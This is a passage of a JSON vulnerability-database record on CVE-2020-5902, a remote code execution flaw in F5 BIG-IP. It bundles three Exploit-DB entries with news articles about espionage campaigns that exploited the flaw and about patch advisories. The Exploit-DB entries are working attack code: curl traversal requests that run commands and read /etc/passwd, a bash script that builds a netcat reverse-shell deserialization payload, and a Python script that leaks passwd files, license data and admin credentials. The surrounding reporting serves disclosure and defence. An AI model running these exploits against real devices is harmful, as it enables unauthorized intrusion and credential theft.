"COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15505", "CVE-2020-15506", "CVE-2020-5902"], "modified": "2020-09-18T00:00:00", "id": "AKB:7CB9D781-D42B-49AD-8368-7833414FD76A", "href": "https://attackerkb.com/topics/nPl8YRkKRb/cve-2020-15506", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2022-08-16T06:06:52", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-05T00:00:00", "type": "exploitdb", "title": "BIG-IP 15.0.0 &lt; 15.1.0.3 / 14.1.0 &lt; 14.1.2.5 / 13.1.0 &lt; 13.1.3.3 / 12.1.0 &lt; 12.1.5.1 / 11.6.1 &lt; 11.6.5.1 - Traffic Management User Interface &#039;TMUI&#039; Remote Code Execution (PoC)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-05T00:00:00", "id": "EDB-ID:48643", "href": "https://www.exploit-db.com/exploits/48643", "sourceData": "## RCE: \r\n\r\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\r\n\r\n## Read File: \r\n\r\ncurl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'", "sourceHref": "https://www.exploit-db.com/download/48643", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T04:10:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-06T00:00:00", "type": "exploitdb", "title": "BIG-IP 15.0.0 &lt; 15.1.0.3 / 14.1.0 &lt; 14.1.2.5 / 13.1.0 &lt; 13.1.3.3 / 12.1.0 &lt; 12.1.5.1 / 11.6.1 &lt; 11.6.5.1 - Traffic Management User Interface &#039;TMUI&#039; Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-5902", "CVE-2020-5902"], "modified": "2020-07-06T00:00:00", "id": "EDB-ID:48642", "href": "https://www.exploit-db.com/exploits/48642", "sourceData": "#!/bin/bash\r\n#\r\n# EDB Note Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48642.zip\r\n# \r\n# Exploit Title: F5 BIG-IP Remote Code Execution\r\n# Date: 2020-07-06\r\n# Exploit Authors: Charles Dardaman of Critical Start, TeamARES\r\n# Rich Mirch of Critical Start, TeamARES\r\n# CVE: CVE-2020-5902\r\n#\r\n# Requirements:\r\n# Java JDK\r\n# hsqldb.jar 1.8\r\n# ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar\r\n#\r\n\r\nif [[ $# -ne 3 ]]\r\nthen\r\n echo\r\n echo \"Usage: $(basename $0) <server> <localip> <localport>\"\r\n echo\r\n exit 1\r\nfi\r\n\r\nserver=${1?hostname argument required}\r\nlocalip=${2?Locaip argument required}\r\nport=${3?Port argument required}\r\n\r\nif [[ ! -f $server.der ]]\r\nthen\r\n echo \"$server.der does not exist - extracting cert\"\r\n openssl s_client \\\r\n -showcerts \\\r\n -servername $server \\\r\n -connect $server:443 </dev/null 2>/dev/null | openssl x509 -outform DER >$server.der\r\n\r\n keytool -import \\\r\n -alias $server \\\r\n -keystore keystore \\\r\n -storepass changeit \\\r\n -noprompt \\\r\n -file $PWD/$server.der\r\nelse\r\n echo \"$server.der already exists. skipping extraction step\"\r\nfi\r\n\r\njava -jar ysoserial-master-SNAPSHOT.jar \\\r\n CommonsCollections6 \\\r\n \"/bin/nc -e /bin/bash $localip $port\" > nc.class\r\n\r\nxxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex\r\n\r\nif [[ ! -f f5RCE.class ]]\r\nthen\r\n echo \"Building exploit\"\r\n javac -cp hsqldb.jar f5RCE.java\r\nfi\r\n\r\njava -cp hsqldb.jar:. \\\r\n -Djavax.net.ssl.trustStore=keystore \\\r\n -Djavax.net.ssl.trustStorePassword=changeit \\\r\n f5RCE $server payload.hex", "sourceHref": "https://www.exploit-db.com/download/48642", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-16T06:06:46", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-26T00:00:00", "type": "exploitdb", "title": "F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2020-5902", "CVE-2020-5902"], "modified": "2020-07-26T00:00:00", "id": "EDB-ID:48711", "href": "https://www.exploit-db.com/exploits/48711", "sourceData": "# Exploit Title: F5 Big-IP 13.1.3 Build 0.0.6 - Local File Inclusion\r\n# Date: 2019-08-17\r\n# Exploit Author: Carlos E. Vieira\r\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\r\n# Version: <= 13.1.3\r\n# Tested on: BIG-IP 13.1.3 Build 0.0.6\r\n# CVE : CVE-2020-5902\r\n\r\n#!/usr/bin/env python\r\n\r\nimport requests\r\nimport sys\r\nimport time\r\nimport urllib3\r\nimport json \r\nurllib3.disable_warnings()\r\n\r\nglobal target\r\n\r\ndef checkTarget():\r\n\r\n r = requests.head(target + \"/tmui/login.jsp\", verify=False)\r\n if(r.status_code == 200):\r\n return True\r\n else:\r\n return False\r\n\r\ndef checkVuln():\r\n\r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\", verify=False)\r\n if(r.status_code == 200):\r\n \r\n data = json.loads(r.text)\r\n if(len(data['output']) > 0):\r\n return True \r\n else:\r\n return False\r\n\r\n else:\r\n return False\r\n\r\ndef leakPasswd():\r\n print(\"[+] Leaking /etc/passwd from server\")\r\n time.sleep(2)\r\n exploit('/etc/passwd')\r\n\r\n\r\ndef leakHosts():\r\n print(\"[+] Leaking /etc/hosts from server\")\r\n time.sleep(2)\r\n exploit('/etc/hosts')\r\n\r\ndef leakLicence():\r\n\r\n print(\"[+] Leaking /config/bigip.license from server\")\r\n time.sleep(2)\r\n exploit('/config/bigip.license')\r\n\r\ndef leakAdmin():\r\n\r\n print(\"[+] Leaking admin credentials from server\")\r\n time.sleep(2)\r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin\", verify=False)\r\n if(r.status_code == 200):\r\n \r\n data = json.loads(r.text)\r\n if(len(data['output']) > 0 ):\r\n print(data['output'])\r\n else:\r\n print(\"[X] Admin credentials not found\")\r\n else:\r\n print(\"[X] Fail to read file\")\r\n\r\n\r\ndef exploit(file):\r\n \r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=\" + file, verify=False)\r\n if(r.status_code == 200):\r\n data = json.loads(r.text)\r\n print(data['output'])\r\n else:\r\n print(\"[X] Fail to read file\")\r\n\r\ndef memoryLeak():\r\n print(\"[!] Leaking tomcat process from server\")\r\n time.sleep(2) \r\n r = requests.get(target + \"/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/proc/self/cmdline\", verify=False)\r\n if(r.status_code == 200):\r\n data = json.loads(r.text)\r\n if(len(data['output'])>0):\r\n print(\"Command: \" + data['output'])\r\n\r\ndef main(host):\r\n\r\n print(\"[+] Check target...\")\r\n global target\r\n target = \"https://\" + host\r\n\r\n check = checkTarget()\r\n if(check):\r\n print(\"[~] Target is available\")\r\n\r\n vuln = checkVuln()\r\n if(vuln):\r\n print(\"[+] Target is vulnerable!\")\r\n\r\n time.sleep(1)\r\n print(\"[~] Leak information from target!\")\r\n time.sleep(1)\r\n leakPasswd()\r\n leakHosts()\r\n leakLicence()\r\n leakAdmin()\r\n memoryLeak()\r\n else:\r\n print(\"[X] Target is't vulnerable\")\r\n\r\n else:\r\n print(\"[x] Target is unavailable\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n if(len(sys.argv) < 2):\r\n print(\"Use: python {} ip/dns\".format(sys.argv[0]))\r\n else:\r\n host = sys.argv[1]\r\n main(host)", "sourceHref": "https://www.exploit-db.com/download/48711", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:37:58", "description": "[](<https://thehackernews.com/images/-Dtzc9yz6RbM/YMMKHm4Kx-I/AAAAAAAAC1I/WYDMtfEjbWsxxIw0vYe_MVWM-NM6RyBbwCLcBGAsYHQ/s0/ukraine-russia-hacking.png>)\n\nCybersecurity researchers on Thursday took the wraps off a new cyber espionage group that has been behind a series of targeted attacks against diplomatic entities and telecommunication companies in Africa and the Middle East since at least 2017.\n\nDubbed \"[BackdoorDiplomacy](<https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/>),\" the campaign involves targeting weak points in internet-exposed devices such as web servers to perform a panoply of cyber hacking activities, including laterally moving across the network to deploy a custom implant called Turian that's capable of exfiltrating sensitive data stored in removable media.\n\n\"BackdoorDiplomacy shares tactics, techniques, and procedures with other Asia-based groups. Turian likely represents a next stage evolution of [Quarian](<https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal>), the backdoor last observed in use in 2013 against diplomatic targets in Syria and the U.S,\" said Jean-Ian Boutin, head of threat research at Slovak cybersecurity firm ESET.\n\n[](<https://thehackernews.com/images/-GIau-4HiGNY/YML9xAgaoII/AAAAAAAAC04/eXu31e-sG6c5n_ctCdy5Ywqze7jQrNwPQCLcBGAsYHQ/s0/malware-code.jpg>)\n\nEngineered to target both Windows and Linux operating systems, the cross-platform group singles out management interfaces for networking equipment and servers with internet-exposed ports, likely exploiting unpatched vulnerabilities to deploy the China Chopper web shell for initial access, using it to conduct reconnaissance and install the backdoor.\n\n[](<https://thehackernews.com/images/-1FpXL2Tz5Cw/YML-Kbavm8I/AAAAAAAAC1A/FhSXMvLarUswpSjlt04uYWaNTB0uFRHbgCLcBGAsYHQ/s0/malware-encryption.jpg>)\n\nTargeted systems include F5 BIG-IP devices (CVE-2020-5902), Microsoft Exchange servers, and Plesk web hosting control panels. Victims have been identified in the Ministries of Foreign Affairs of multiple African countries, as well as in Europe, the Middle East, and Asia. Additionally, telecom providers in Africa and at least one Middle Eastern charity have also been hit.\n\n\"In each case, operators employed similar tactics, techniques, and procedures (TTPs), but modified the tools used, even within close geographic regions, likely to make tracking the group more difficult,\" the researchers said. BackdoorDiplomacy is also believed to overlap with previously reported campaigns operated by a Chinese-speaking group Kaspersky tracks as \"[CloudComputating](<https://securelist.com/apt-trends-report-q2-2020/97937/>).\"\n\nBesides its features to gather system information, take screenshots, and carry out file operations, ESET researchers said Turian's network encryption protocol is nearly identical to that employed by [WhiteBird](<https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird>), a C++ backdoor operated by an Asia-based threat actor named Calypso, that was installed within diplomatic organizations in Kazakhstan and Kyrgyzstan, and during the same timeframe as BackdoorDiplomacy.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-11T07:01:00", "type": "thn", "title": "New Cyber Espionage Group Targeting Ministries of Foreign Affairs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-06-14T06:04:35", "id": "THN:BCC351AC0BA61400C97A7E529C22A518", "href": "https://thehackernews.com/2021/06/new-cyber-espionage-group-targeting.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-22T03:59:04", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiksM7slN_dJ5WFWyeZAhQxY-5ycGRUBwDOewiWPSI1Fe7vaIJErbZi5xc9ZFpBT3M5PfKMZQjfqkphQFD19YK7LLjTk8vuvPrF3AFRDRPELT7sD0tgujtXb-Ws8fkbtwYjvT0Ga_KfpkH0BR3QueoSWrGrLhxqIsGXMY5LA5Ao_X8BGnQ2qjudnjZm/s728-e100/software-developmnet.jpg>)\n\nA large software development company whose software is used by different state entities in Ukraine was at the receiving end of an \"uncommon\" piece of malware, new research has found.\n\nThe malware, first observed on the morning of May 19, 2022, is a custom variant of the open source backdoor known as [GoMet](<https://github.com/Laeeth/GoMet>) and is designed for maintaining persistent access to the network.\n\n\"This access could be leveraged in a variety of ways including deeper access or to launch additional attacks, including the potential for software supply chain compromise,\" Cisco Talos [said](<https://blog.talosintelligence.com/2022/07/attackers-target-ukraine-using-gomet.html>) in a report shared with The Hacker News.\n\nAlthough there are no concrete indicators linking the attack to a single actor or group, the cybersecurity firm's assessment points to Russian nation-state activity.\n\nPublic reporting into the use of GoMet in real-world attacks has so far uncovered only two documented cases to date: one in 2020, coinciding with the disclosure of [CVE-2020-5902](<https://thehackernews.com/2020/07/f5-big-ip-application-security.html>), a critical remote code execution flaw in F5's BIG-IP networking devices.\n\nThe second instance entailed the successful exploitation of [CVE-2022-1040](<https://thehackernews.com/2022/06/chinese-hackers-exploited-sophos.html>), a remote code execution vulnerability in Sophos Firewall, by an unnamed advanced persistent threat (APT) group earlier this year.\n\n\"We haven't seen GoMet deployed across the other organizations we've been working closely with and monitoring so that implies it is targeted in some manner but could be in use against additional targets we don't have visibility into,\" Nick Biasini, head of outreach for Cisco Talos, told The Hacker News.\n\n\"We have also conducted relatively rigorous historic analysis and see very little use of GoMet historically which further indicates that it is being used in very targeted ways.\"\n\nGoMet, as the name implies, is written in Go and comes with features that allow the attacker to remotely commandeer the compromised system, including uploading and downloading files, running arbitrary commands, and using the initial foothold to propagate to other networks and systems via what's called a [daisy chain](<https://www.tenable.com/blog/daisy-chaining-how-vulnerabilities-can-be-greater-than-the-sum-of-their-parts>).\n\nAnother notable feature of the implant is its ability to run scheduled jobs using [cron](<https://en.wikipedia.org/wiki/Cron>). While the original code is configured to execute cron jobs once every hour, the modified version of the backdoor used in the attack is built to run every two seconds and ascertain if the malware is connected to a command-and-control server.\n\n\"The majority of the attacks we've been seeing lately are related to access, either directly or through credential acquisition,\" Biasini said. \"This is another example of that with GoMet being deployed as a backdoor.\"\n\n\"Once the access has been established, additional reconnaissance and more thorough operations can follow. We're working to kill the attacks before they get to this stage so it's difficult to predict the types of follow-on attacks.\"\n\nThe findings come as the U.S. Cyber Command on Wednesday [shared](<https://twitter.com/CNMF_CyberAlert/status/1549764857972621322>) the indicators of compromise (IoCs) pertaining to different types of malware such as [GrimPlant, GraphSteel](<https://thehackernews.com/2022/04/ukraine-warns-of-cyber-attack-aiming-to.html>), Cobalt Strike Beacon, and [MicroBackdoor](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>) targeting Ukrainian networks in recent months.\n\nCybersecurity firm Mandiant has since [attributed](<https://www.mandiant.com/resources/spear-phish-ukrainian-entities>) the phishing attacks to two espionage actors tracked as [UNC1151](<https://thehackernews.com/2022/03/hackers-increasingly-using-browser-in.html>) (aka Ghostwriter) and UNC2589, the latter of which is suspected to \"act in support of Russian government interest and has been conducting extensive espionage collection in Ukraine.\"\n\nThe uncategorized threat cluster UNC2589 is also believed to be behind the [WhisperGate](<https://thehackernews.com/2022/01/a-new-destructive-malware-targeting.html>) (aka PAYWIPE) data wiper attacks in mid-January 2022. Microsoft, which is tracking the same group under the name [DEV-0586](<https://thehackernews.com/2022/04/microsoft-documents-over-200.html>), has assessed it to be affiliated to Russia's [GRU military intelligence](<https://thehackernews.com/2022/04/us-offers-10-million-bounty-for.html>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-21T12:02:00", "type": "thn", "title": "Hackers Target Ukrainian Software Company Using GoMet Backdoor", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2022-1040"], "modified": "2022-07-22T03:26:54", "id": "THN:6D6F52F8E55C98F540525853C434FD08", "href": "https://thehackernews.com/2022/07/hackers-target-ukrainian-software.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:16", "description": "[](<https://thehackernews.com/images/-ESCkWH_hGFA/XwCORuHyklI/AAAAAAAA2_Y/8xaEkL1aRAsnYdpCaEIFxLgvuBwf2BtkQCLcBGAsYHQ/s728-e100/f5-big-ip-application-security.jpg>)\n\n \nCybersecurity researchers today issued a security advisory warning enterprises and governments across the globe to immediately patch a highly-critical remote code execution vulnerability affecting F5's BIG-IP networking devices running application security servers. \n \nThe vulnerability, assigned [CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) and rated as critical with a CVSS score of 10 out of 10, could let remote attackers take complete control of the targeted systems, eventually gaining surveillance over the application data they manage. \n \nAccording to Mikhail Klyuchnikov, a security researcher at Positive Technologies who discovered the flaw and reported it to F5 Networks, the issue resides in a configuration utility called Traffic Management User Interface (TMUI) for BIG-IP application delivery controller (ADC). \n \nBIG-IP ADC is being used by large enterprises, data centers, and cloud computing environments, allowing them to implement application acceleration, load balancing, rate shaping, SSL offloading, and web application firewall. \n \n\n\n## F5 BIG-IP ADC RCE Flaw (CVE-2020-5902)\n\n \nAn unauthenticated attacker can remotely exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server hosting the Traffic Management User Interface (TMUI) utility for BIG-IP configuration. \n \nSuccessful exploitation of this vulnerability could allow attackers to gain full admin control over the device, eventually making them do any task they want on the compromised device without any authorization. \n \n\n\n[](<https://thehackernews.com/images/-mSgD9hYm9iE/XwCPk5rodoI/AAAAAAAA2_k/Jk-64lba4o0OYBTI-vkgZlYW_MAMyckeQCLcBGAsYHQ/s728-e100/f5-big-ip-application.jpg>)\n\n \n\"The attacker can create or delete files, disable services, intercept information, run arbitrary system commands and Java code, completely compromise the system, and pursue further targets, such as the internal network,\" [Klyuchnikov said](<https://swarm.ptsecurity.com/rce-in-f5-big-ip/>). \n \n\"RCE in this case results from security flaws in multiple components, such as one that allows directory traversal exploitation.\" \n \nAs of June 2020, more than 8,000 devices have been identified online as being exposed directly to the internet, of which 40% reside in the United States, 16% in China, 3% in Taiwan, 2.5% in Canada and Indonesia and less than 1% in Russia, the security firm says. \n \nHowever, Klyuchnikov also says that most companies using the affected product do not enable access to the internet's vulnerable configuration interface. \n \n\n\n## F5 BIG-IP ADC XSS Flaw (CVE-2020-5903)\n\n \nBesides this, Klyuchnikov also reported an XSS vulnerability (assigned [CVE-2020-5903](<https://support.f5.com/csp/article/K43638305>) with a CVSS score of 7.5) in the BIG-IP configuration interface that could let remote attackers run malicious JavaScript code as the logged-in administrator user. \n \n\"If the user has administrator privileges and access to Advanced Shell (bash), successful exploitation can lead to a full compromise of BIG-IP via RCE,\" the researcher said. \n \n\n\n## Affected Versions and Patch Updates\n\n \nAffected companies and administrators relying on vulnerable BIG-IP versions 11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x are strongly recommended to update their devices to the latest versions 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4 as soon as possible. \n \nMoreover, users of public cloud marketplaces like AWS (Amazon Web Services), Azure, GCP, and Alibaba are also advised to switch to BIG-IP Virtual Edition (VE) versions 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.0.1.4, or 15.1.0.4, as soon as they are available. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-04T14:20:00", "type": "thn", "title": "Critical RCE Flaw Affects F5 BIG-IP Application Security Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-15T18:43:21", "id": "THN:02088F21DB6E2D58FA2FBFDB5C735108", "href": "https://thehackernews.com/2020/07/f5-big-ip-application-security.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:25", "description": "[](<https://thehackernews.com/images/-fDHng6o_Mgc/YFYaPcYnvAI/AAAAAAAACEo/0OqPmutMPS0yEPCAkfPEvGz8Z0E8VNZ2QCLcBGAsYHQ/s0/f5.jpg>)\n\nAlmost 10 days after application security company F5 Networks [released patches](<https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html>) for critical vulnerabilities in its BIG-IP and BIG-IQ products, adversaries have begun opportunistically mass scanning and targeting exposed and unpatched networking devices to break into enterprise networks.\n\nNews of in the wild exploitation comes on the heels of a proof-of-concept exploit code that surfaced online earlier this week by reverse-engineering the Java software patch in BIG-IP. The [mass scans](<https://twitter.com/bad_packets/status/1372650076024107009>) are said to have spiked since March 18.\n\nThe flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical remote code execution (CVE-2021-22986) also impacting BIG-IQ versions 6.x and 7.x. [CVE-2021-22986](<https://support.f5.com/csp/article/K03009991>) (CVSS score: 9.8) is notable for the fact that it's an unauthenticated, remote command execution vulnerability affecting the iControl REST interface, allowing an attacker to execute arbitrary system commands, create or delete files, and disable services without the need for any authentication.\n\nSuccessful exploitation of these vulnerabilities could lead to a full compromise of susceptible systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a denial of service (DoS) attack.\n\n[](<https://thehackernews.com/images/-pOsO0M730cQ/YFYcww7f-PI/AAAAAAAA3s0/S9EnJJEwsiUZnY7kt2AC-WtKguHTDCbXwCLcBGAsYHQ/s0/hacking-code.jpg>)\n\nWhile F5 said it wasn't aware of any public exploitation of these issues on March 10, researchers from NCC Group [said](<https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/>) they have now found evidence of \"full chain exploitation of F5 BIG-IP/BIG-IQ iControl REST API vulnerabilities CVE-2021-22986\" in the wake of multiple exploitation attempts against its honeypot infrastructure.\n\nAdditionally, Palo Alto Networks' Unit 42 threat intelligence team [said](<https://twitter.com/Unit42_Intel/status/1373017186818781190>) it found attempts to exploit CVE-2021-22986 to install a variant of the Mirai botnet. But it's not immediately clear if those attacks were successful.\n\nGiven the popularity of BIG-IP/BIG-IQ in corporate and government networks, it should come as no surprise that this is the second time in a year F5 appliances have become a lucrative target for exploitation. \n\nLast July, the company addressed a similar critical flaw ([CVE-2020-5902](<https://thehackernews.com/2020/07/f5-big-ip-application-security.html>)), following which it was abused by Iranian and Chinese state-sponsored hacking groups, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an alert cautioning of a \"broad scanning activity for the presence of this vulnerability across federal departments and agencies.\"\n\n\"The bottom line is that [the flaws] affect all BIG-IP and BIG-IQ customers and instances \u2014 we urge all customers to update their BIG-IP and BIG-IQ deployments to the fixed versions as soon as possible,\" F5 Senior Vice President Kara Sprague [noted](<https://www.f5.com/company/blog/big-ip-and-big-iq-vulnerabilities-protecting-your-organization>) last week.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", 